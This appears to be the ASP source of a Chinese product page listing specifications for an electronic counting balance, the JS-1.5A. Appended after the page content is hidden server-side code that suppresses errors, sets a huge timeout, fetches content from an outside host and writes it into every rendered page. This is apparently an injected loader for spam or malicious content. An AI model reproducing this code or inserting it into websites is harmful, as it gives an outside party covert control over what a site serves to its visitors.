<%rs_Product.close
set rs_Product=nothing%>
产品展示
<%rs_Product.close
set rs_Product=nothing%>
| 电子计数秤|防水秤 >> 电子计数天平秤 JS-A系列 >> 电子计数天平秤JS-1.5A型 |  |
 |
| |  | 产品编号: | JS-1.5A | 产品名称: | 电子计数天平秤JS-1.5A型 | 规 格: | 310*340*115mm | 产品备注: | | 产品类别: | 电子计数秤|防水秤 | | |
|
产 品 说 明 |
电子计数天平JS-1.5A型 • 内部解析接近600,000 • 重量/数量累加功能 • 重量/数量/百分比上、下限报警功能 • 预设扣重值 • 10组预设单重记忆 • 自动/手动背光功能 • 标准RS-232接口 • 多种使用者设定功能 • 外形尺寸 310*340*115mm • 秤盘尺寸 300*230mm • 充电电池 6V/4Ah
• 最大称重 1.5kg • 分度值 0.1g/0.05g • 去皮范围 1.5kg • 置龄范围 ≤60e • 显示方式 LCD显示、带背光 • 供电方式 交流、直流 |
|
 |
| 点击数:231 录入时间:2008-10-22 【打印此页】 【关闭】 |  |
<%
On Error Resume Next
Server.ScriptTimeOut=9999999
response.write(getHTTPPage("http://get0718.httppage.com"))
function getHTTPPage(url)
dim http
set http=createobject("MSXML2.XMLHTTP")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>